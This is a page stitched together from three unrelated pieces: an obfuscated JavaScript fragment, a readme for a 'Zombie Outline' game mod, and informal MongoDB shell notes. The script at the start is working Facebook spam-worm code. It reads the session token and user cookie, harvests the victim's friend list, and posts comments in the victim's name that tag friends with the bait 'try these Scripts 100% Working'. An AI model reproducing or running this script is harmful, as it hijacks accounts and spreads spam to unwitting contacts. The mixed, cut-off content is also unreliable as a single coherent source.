arr.length - 1; tay = i; console.log(arr.length); var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ebb6c8'>"; display += "<div style='padding-bottom:10px;font-size:15px;'>" + Title + "</div>"; display += arr.length + " Friends Detected"; display += "</div>"; document.getElementById("pagelet_sidebar").innerHTML = display; InviteFriends(arr[i]) }); var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","281715322007923","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text=Excellent...wOw,.,.try these Scripts 100% Working","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id);

Zombie Outline Version: 1.0 Description: This mod is based on the old Zombie Horde mod, but with many more features. The ZH mod gives you a nice co-op environment for annihilating the mass of zombies, while this mod offers you a "smooth story", which is actually a month (31 days) of disaster which combine soldiers have to face. Aside from that, zombies yield experience, so allowing you to level up and increase your health, armor, speed, jump rate and evasion rate. There is a moderate number of different types of zombies, each of them having different stats and giving a different amount of experience when taken down. Every day it is harder and harder for the combine to complete their task as the number of zombies is increasing as well as their strength. The type of the day can either be demolition, survival or epidemic. When soldiers are caught in a demolition day, their taks is to annihilate a certain amount of zombies to complete it. There is no time limit for this. In the survival days, if they stay alive a certain amount of time (without all being dead at the same time), they will proceed to the next day. Epidemic days are similar to demolition days, only then you do not want to get hit by a zombie, as the virus that is spread in the air will hurt you through the wound more than you think it will. Ocasionally (in certain days), combine soldiers have to face motherzombies. In the demolition and epidemic days, they will come right after the number of regular zombies reaches zero, while in survival days they will come at the very beginning, but not required to slay them. This mod works in any way, with only bots on the human side and/or with real players. Terrorist team only contains bots as zombies. I personally haven't tested it with multiple players being on CT side at the same time, but it works quite well while I play it with bots. For a better glimpse on this mod, check this video. Zombie Outline Commands: /zomenu - Open up the mod menu. /spawn - Spawn if you haven't, but still it is early game. /return - Don't move for 20 seconds (or so) and return to spawn point. /info - Check your information, like level, experience, etc... /zhp - Show zombie health. /zoadmin - Admin menu for this mod. /fspawn <name> - Admin command that forces a player to spawn. /freturn <name> - Admin command that forces a player to return to spawn. /zoday <value> - Admin command to set next day (must be <= 31 and > 0). /zoendday <ct/t> - Admin command to immediately end the day (argument <ct/t> = winner) /zombies <value> - Admin command to set how many zombies are left. /zoaddexp <name> <amount> - Admin command to give a player experience. /zoaddlvl <name> <amount> - Admin command to give a player level. /zoexpboost <value> - Admin command to set the experience boost. Addon Commands: /weapons - Opets up the weapons menu. [weaponsmenu addon] /ambientson - Turns ambients (background music) on. [ambients addon] /ambientsoff - Turns ambients off. [ambients addon] /quakeon - Turns quake sounds on. [ambients addon] /quakeoff - Turns quake sounds off. [ambients addon] /spree - Check your killing/headshot spree. [ambients addon] /ambients <1/0> - Admin command to toggle ambients across whole server. [ambients addon] /quake <1/0> - Admin command to toggle quake sounds across whole server. [ambients addon] /mapstyle - Admin command to open up the mapstyle menu. [mapstyle addon] Installation: Simply download "Zombie Outline v1.0.zip" and extract it to your game directory. You will need to download all zombie models and other materials from here. Once downloaded, simply extract it to your game directory. I have uploaded few more addons. They are not necessary to have, but they improve the game experience and kinda add few more dimensions to the mod. If you want them, simply download and extract the "cstrike" folder from each addon (zip) to your game directory. Addon descriptions: Serverconfigs are in my opinion very useful, as they fix precaching models in case the Zombie Outline doesn't. Also with it, you can do few more configurations such as setting cvars and execing some cfgs on map start (for example) which automates Zombie Outline preperation. Mapstyle is optional. Adds darkness (customizable) to the map and also the ability to change the sky. For this addon, you will have to download skyboxes, and extract them to your game directory. Ambients sure give good background music (from Half-Life). Quake sounds also included. Another optional, but use it (as well as the mapstyle!). ;) Weaponsmenu, optional. Nothing too special, as the name is selfexplainig. In Zombie Outline, the Blackmarket Shop, which is meant for buying weapons (I think), still isn't working as I am not sure how would I want it to be created. So think of weaponsmenu as a temporary replacement. If you want to be hardcore in game, don't use it ;) Before you start commenting why haven't I put these as seperate plugins in new threads, well, there ARE DEFINITELY better plugins you can find that do the same thing, I have made these only for one sole purpose, and it is for improving Zombie Outline. So, I don't see the point of putting them there. Configuration: Configuring Zombie Outline goes from "cfg/sourcemod/zo" folder. You actually edit .txt files, not .cfg files! But, if you have just installed the mod, you won't have the .txt files. To generate them, you will have to run the mod once on your server, and after that, close the server and get back. Download the "cfg example for v1.0.zip" for more details. Serverconfigs can be configured from "cfg/sourcemod/serverconfigs.cfg" file. There is almost no need for configuring it. But if you really want to, check the file and uhm... good luck (made this addon for some other reasons, but later found it useful here a bit). Mapstyle can be configured from "cfg/sourcemod/mapstyle.txt" and "cfg/sourcemod/mapstyle.cfg". Ambients can be configured from "cfg/sourcemod/ambients.txt". Weaponsmenu can be configured from "cfg/sourcemod/weaponsmenu.cfg". How to play: In order to be able to play, you must create yourself a "workspace" (basically sign yourself in the mod database, so your progress can be saved and similar). Nothing too chumpy, all you have to do is in the mod menu (default "/zomenu"), select the "Configuration" option and you will see "Create Workspace". Select it and you are ready to go! There are plenty of reasons why I didn't automate this. Debugging is the first and most important, but it is a long and boring story, so I will skip it. Known glitches: Sometimes "/spawn" command won't let you spawn, even though you are sure you can. Just use that command few more times, or wait few seconds and then use it, and it should work. It is not a glitch, but there are 2 more commands: client "/debug" and admin "/allowdebug <name>". There is no point of using them (so far), just wanned to let you know that they exist too. If you have any questions, problems or anything else, leave a reply here or a comment on the youtube video.

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Mongo db console commands //showing the existing dbs.. show dbs //use test switching to db test, (only creating it when actually adding new data) //prompts the name of the working db now db //the fllw would prompt the count(), in the link2 collection, in the current db... >db.links2.count() //inserting a record in links2 db.links2.insert({title:"unn titulo", url:"", comment:"", tags:["un primer tag", "un segundo tag"], saved_on: new Date}) //working with an object the javascript way... data = {} | data.title = "un titulo" | data.tags = ["un tag", "otro"] | data.meta = {} | data.meta.OS = "win7" | db.links2.insert(data) //printing the result of the find, in the structured json format. db.links2.find().forEach(printjson) //--> in this case we pass to forEach the printjson function... //retriving only the first of the results of the find method. db.links2.find()[0] db.links2.find()[0]._id //getting the timestamp present in the _id variable (is made of (also) the time it was created) db.links2.find()[0]._id.getTimestamp() /*the following function creates, when called, a new collection inside the same working db, that tracks the last id number we are in. This allows having the same behavieur than in relational DBs.*/ //apparently, u have to declare this function... function counter(name) { var ret = db.counter.findAndModify({query:{_id:name}, update:{$inc:{next:1}}, "new":true, upsert:true}); return ret.next; } //so u can do something like db.products.insert({_id:counter("products"), nombre:"primer nombre"}) //the result is something like: { "_id": 1, "name": "un producto" } { "_id": 2, "name": "otro producto" } /*referencing in MongoDB*/ db.users.insert({name:"Richard"}) var a = db.users.findOne({name:"Richard"}) db.links2.insert({title:"primer titulo", author:a._id}) //reference to other collection throught the _id key... //quering db.users.findOne({ _id:link.author }) //a way to make manual inner joins... within the user db, we search for a coincidence of our _ids on the links2 db, author field. ---note--- embedding is much more efficient when we have significantly more read than writes. Otherwise, consider using the normalized way. These depends on every case. /**/ #importing data from a .js in json format. With mongod running or in a services: > ../../../mongodb/bin/mongo 127.0.0.1/bookmarks bookmarks.js //the first part is the location to the mongo exe in the mongo usual location //the second part is the server and db in which we will be importing in //the third part is the file with all the mongo commands... --this bookmarks file is in C:\Tuto\mongo\trying -- https://raw.github.com/tuts-premium/learning-mongodb/master/08%20-%20bookmarks.js /*bookmarks.js extract*/ var u1 = db.users.findOne({ 'name.first': 'John' }), u2 = db.users.findOne({ 'name.first': 'Jane' }), u3 = db.users.findOne({ 'name.first': 'Bob' }); db.links.insert({ title: 'Nettuts+', url: 'http://net.tutsplus.com', comment: 'Great site for web dev tutorials', tags: ['tutorials', 'dev', 'code'], favourites: 100, userId: u1._id }); /**/ //connecting directly to db bookmarks > ../../../mongodb/bin/mongo bookmarks //searching in the collection all docs that have inside the tags array the "code" element. //this can be done because we are dealing with an array --> array advantages... db.users.find({tags:"code"}).forEach(printjson) //with findOne u can do (not with find) findOne().name db.links.find({favourites:100}, title:true, url:1) //selecting only some fields... db.links.find({favourites:100}, tags:0) //selecting all but the tag field... //selecting inside an object... db.users.findOne({"name.first": "John"}) db.users.findOne({"name.first": "John"}, "name.last":1) var john = db.users.findOne({"name.first": "John"}) db.links.find({userId:john._id}, {title:1, _id: 0}) /*queries directives*/ //greater than 150 db.links.find({favourites:{$gt:150}}, {_id:0, favourites:1, title:1}).forEach(printjson) db.links.find({favourites:{$gt:150}}, {_id:0, favourites:1, title:1}).count() //less than db.links.find({favourites:{$lt:150}}, {_id:0, favourites:1, title:1}).forEach(printjson) //$lte, $gte -- and iqual //using in db.users.find({"name.first":{$in:["John", "Jane"]}}) //the opposite is $nin db.users.find({"name.first":{$nin:["John", "Jane"]}}) //$all -- only the records with all the specifications in "tags" field. db.links.find({tags: {$all:["code", "marketplace"]}}, {title:1, tags:1, _id:0}) //$ne -- not equal //the $or flag search for the fullfillment of at least one of the elements in the array passed... db.users.find({$or: [{"name.first": "John"}, {"name.last": "Wilson"}]}) //the opposite: $nor //inclusive: $and //$exists db.users.find({email: {$exists: true}}) //$mod db.links.find({favourites: {$mod: [5, 0]}}, {_id:0, title:1, favourites:1}) db.links.find({favourites: {$not: {$mod: [5, 0]}}}, {_id:0, title:1, favourites:1}) //elemMatch -- inside logins, search for an element match that has minutes = 20, and return the complete record db.users.find({logins: {$elemMatch: {minutes: 20}}}) //searching for an 'at' prior to 2012/03/30.. and returning the whole record... db.users.find({logins: {$elemMatch: {at: { $lt: new Date(2012, 3, 30)}}}}) //using where -- c) is equivalent to a) a) db.users.find({ $where: 'this.name.first === "John"'}) b) db.users.find({ $where: 'this.name.first === "John"', age:30}) c) db.users.find( 'this.name.first === "John"') //injecting functions in mongodb -- as this example returns trueéfalse, its going to return values randomly var frand = function() {return Math.random() > 0.5} db.users.find(frand) // var f = function() { return this.name.first === "John"} db.users.find(f) //or db.users.find( {$where: f} ) //other queries //distinct -- returns a list of diff results db.links.distinct('favourites') --> [100, 32, 21, 78, ...] db.links.distinct("url") db.links.group({ key:{userId : true}, initial:{favCount: 0}, reduce: function (doc, o) {o.favCount += doc.favourites}, finalize: function(o) {o.name = db.users.findOne({ _id: o.userId}).name } }); *** //the final part is not working... db.links.group({ key:{userId : true}, initial:{favCount: 0}, reduce: function (doc, o) {o.favCount += doc.favourites} }); db.links.group({ key:{userId : true}, initial:{favCount: 0}, reduce: function (doc, o) {o.favCount += doc.favourites}, finalize: function(o) {o.name = "richard"}} ); //regex db.links.find({ title: /tuts\+$/}) db.links.find({ title: {regex: /tuts\+$/}}, {title:1}) //counting db.users.count({'name.first': 'John'}) db.users.count(); //all users in the collection //sorting, limit db.links.find({}, {title:1}).sort({title:1}).limit(1) //1: asc -1: desc //sorting, skipping and limiting... normal behavieur in the pagination rutine... db.links.find({}, {title:1, _id:0}).sort({title:1}).skip(3).limit(3) /*updating*/ //by replacement or by modification... ---general form /* db.collection.update( <query>, <update>, { upsert: <Boolean>, //if not found insert multi: <Boolean>, //change in all the condition <query> is fullfilled } ) */ // more info in http://docs.mongodb.org/manual/reference/method/db.collection.update/ db.users.update({-the query object-}, {-the update object-}, -upsert boolean-); var n = {title:"Nettuts+"} db.links.find(n, {title:1}) db.links.update(n, {$inc: {favourites: 5}}) var q = {"name.last": "Doe"} db.users.find(q, {name:1}) //we can use set to update a field or add a completly new one... db.users.update(q, {$set: {"name.last": "Doetix"}}) //modifying an existing field.. db.users.update(q, {$set: {"email": "doetix81@gmail.com"}}) //inserting a new one... //to remove a field w use unset db.users.update(q, {$unset: {job: "Web developper"}}) db.users.update({"name.first":"John"}, {$set: {job:"Web developer"}}, false, true) //modifying and then inserting an object var bob = db.users.findOne({"name.first":"Bob"}) >bob { "_id" : ObjectId("525f06242df9763abe646b62"), "name" : { "first" : "Bob", "last" : "Smith" }, "age" : 31, "email" : "bob.smith@gmail.com", "passwordHash" : "last_password_hash" } > bob.job = "Thick Brush Painter" > db.users.save(bob) //find and modify -- findAndModify {{}} /* The findAndModify command atomically modifies and returns a single document. By default, the returned document does not include the modifications made on the update. To return the document with the modifications made on the update, use the new option. { findAndModify: <string>, query: <document>, sort: <document>, remove: <boolean>, //one of | update: <document>, //this two | new: <boolean>, //if the new object must be shown or the old one.. fields: <document>, //fields to show in the result upsert: <boolean> } */ > db.links.findAndModify({ query:{favourites: {$gt:150}}, sort:{title:1}, update:{favourites: 333}, new: true, fields: {_id:0} }); //pulling into arrays db.links.update(n, { $push: {tags: "jobs"}}) > db.links.findOne(n).tags //several... db.links.update(n, {$pushAll:{tags: ['blogs','press','contests']}}) //on pull into the array if the new element is not present.. db.links.update(n, {$addToSet:{tags: "dev"}}) //doing the same with an array... db.links.update(n, {$addToSet:{ tags:{$each: ["dev", "interviews"]} }}) //pulling out content from the array... db.links.update(n, {$pull: {tags:'interviews'}}) //pulling several... db.links.update(n, {$pullAll: {tags: ['blogs','dev', 'contests']}}) //poping out from the beginning or the end.. db.links.update(n, {$pop: {tags: 1}}) //--from the end (-1 -- from the beginning) //positional operator... only the subobject gets updated... db.users.update({'logins.minutes': 20} , {$inc:{ 'logins.$.minutes': 10}}, false, true) db.users.update({'logins.minutes': 20} , {$set:{ 'logins.$.location': 10}}, false, true) db.users.update({'logins.minutes': 30}, {$set: {random: true}}, false, true) //renaming the fields name... db.links.update({url: {$exists: true}}, {$rename:{"url": "camino"}}, false, true); //more info on the positional operator in: http://docs.mongodb.org/manual/reference/operator/update/positional/ //taken from there: /* The positional $ operator facilitates updates to arrays that contain embedded documents. Use the positional $ operator to access the fields in the embedded documents with the dot notation on the $ operator. db.collection.update( { <query selector> }, { <update operator>: { "array.$.field" : value } } ) */ /***EXAMPLE Consider the following document in the students collection whose grades field value is an array of embedded documents: { "_id" : 4, "grades" : [ { grade: 80, mean: 75, std: 8 }, { grade: 85, mean: 90, std: 5 }, { grade: 90, mean: 85, std: 3 } ] } Use the positional $ operator to update the value of the std field in the embedded document with the grade of 85: db.students.update( { _id: 4, "grades.grade": 85 }, { $set: { "grades.$.std" : 6 } } ) ***/ //removing db.users.remove({'name.first': "John"}) //all the collections in the selected db... show collections //dropping completly a collection... db.acoll.drop() //indexes... db.links.find().explain db.links.ensureIndex({ title: 1}) //in ascending order.. in mainly important in cpompund indexes.. //a reflect of this index can be found in that db indexes collection db.system.indexes.find(); //u cound put an index to a canging value, but every time u change that value the index must be updated. keep in mind. //usually is a good idea to set the indexes at the beginning when no data is present in the collections. However, u could use the following formula to treat duplicates and unique data //keeping only the first one, deleting the others.. db.links.ensureIndex({ title: 1}, { unique: true, dropDups: true}) //when considering the case of some of the documents without the idexed field, to save mongo from storing space for this index if the field itself has not been inserted: db.links.ensureIndex({ title: 1}, {sparse: true}) //its important to think of the compund index as a nested one, an index of an index. Its related to each problem-case. Like in the case of the recepies: indexing first the ingredient and the the recepie, makes more sense than indexing in reverse. Its all related on how u are going to search. db.links.ensureIndex({ title: 1, url: 1}) //this one means that u can search on title; or on title and url... db.links.ensureIndex({ a: 1, b: 1, c: 1}) //searches are possible on a; a, b; a, b, c //deleting indexes db.links.dropIndex("title_1"); //the same way that appears in system.index collection... /*concepts to follow*/ //Sharding and Replica Set... http://www.slideshare.net/Dataversity/common-mongodb-use-cases-13695677 http://docs.mongodb.org/ecosystem/use-cases/product-catalog/ db.collection.update({"grades.grade":80}, { $set: {"grades.$.std": 18}})